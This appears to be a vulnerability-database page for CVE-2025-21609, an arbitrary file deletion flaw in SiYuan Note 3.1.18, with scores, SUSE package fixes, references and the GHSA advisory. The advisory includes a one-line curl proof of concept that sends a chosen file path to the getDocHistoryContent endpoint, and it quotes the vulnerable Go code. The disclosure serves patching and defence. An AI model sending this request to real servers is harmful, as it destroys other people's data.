CVE-2025-21609
criticalpriority · track · 36EPSS 0.006 · 50 %ileDEEUUSEPSS · scored 2026-10-27
SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.
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- Fixedgovulncheck-vulndb-0.0.20250108T191942-150000.1.26.1.noarch as component of SUSE Linux Enterprise Module for Package Hub 15 SP6suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
- Fixedgovulncheck-vulndb-0.0.20250108T191942-150000.1.26.1.noarch as component of openSUSE Leap 15.6suse_csaf
To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
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base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–critical · 6.6–9.1
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affected products (3)
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- Go github.com/siyuan-note/siyuan/kernelall versionsosvUSpkg:golang/github.com/siyuan-note/siyuan/kernel
advisories (3)
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- SUSE-SU-2025:0060-1Security update for govulncheck-vulndb2025-01-10csaf · suse_csafDE
Security update for govulncheck-vulndb
- GHSA-8fx8-pffw-w498SiYuan has an arbitrary file deletion vulnerability2025-01-03ghsa · osvUS
### Summary A **arbitrary file deletion vulnerability** has been identified in the latest version of Siyuan Note. The vulnerability exists in the `POST /api/history/getDocHistoryContent` endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. ### Details The vulnerability can be reproduced by sending a crafted request to the `/api/history/getDocHistoryContent` endpoint. Sending a request to the `/api/history/getDocHistoryContent` like: ``` curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}' ``` Replace `<abs_filepath_of_a_file>` with the absolute file path of the target file you wish to delete. The `historyPath` parameter in the payload is processed by the `func getDocHistoryContent` in `api/history.go:133`. In turn, `historyPath` is passed to the `func GetDocHistoryContent` located in `model/history.go:150` , which is the slink of the vulnerability. if `historyPath` exists and does not satisfy the `filesys.ParseJSONWithoutFix`, then it will be deleted by `os.RemoveAll` ```go func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return } data, err := filelock.ReadFile(historyPath) if err != nil { logging.LogErrorf("read file [%s] failed: %s", historyPath, err) return } isLargeDoc = 1024*1024*1 <= len(data) luteEngine := NewLute() historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions) if err != nil { logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath) os.RemoveAll(historyPath) return } ... } ``` ### PoC ``` curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}' ``` ### Impact arbitrary file deletion vulnerability
- GO-2025-3362SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel2025-01-07vendor · osvUS
SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel
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references (6)
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- https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3cnnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498cnnvd
- https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3enisa_euvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498enisa_euvd
- https://github.com/siyuan-note/siyuan/commit/d9887aeec1b27073bec66299a9a4181dc42969f3Patchnvd
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-8fx8-pffw-w498ExploitVendor Advisorynvd
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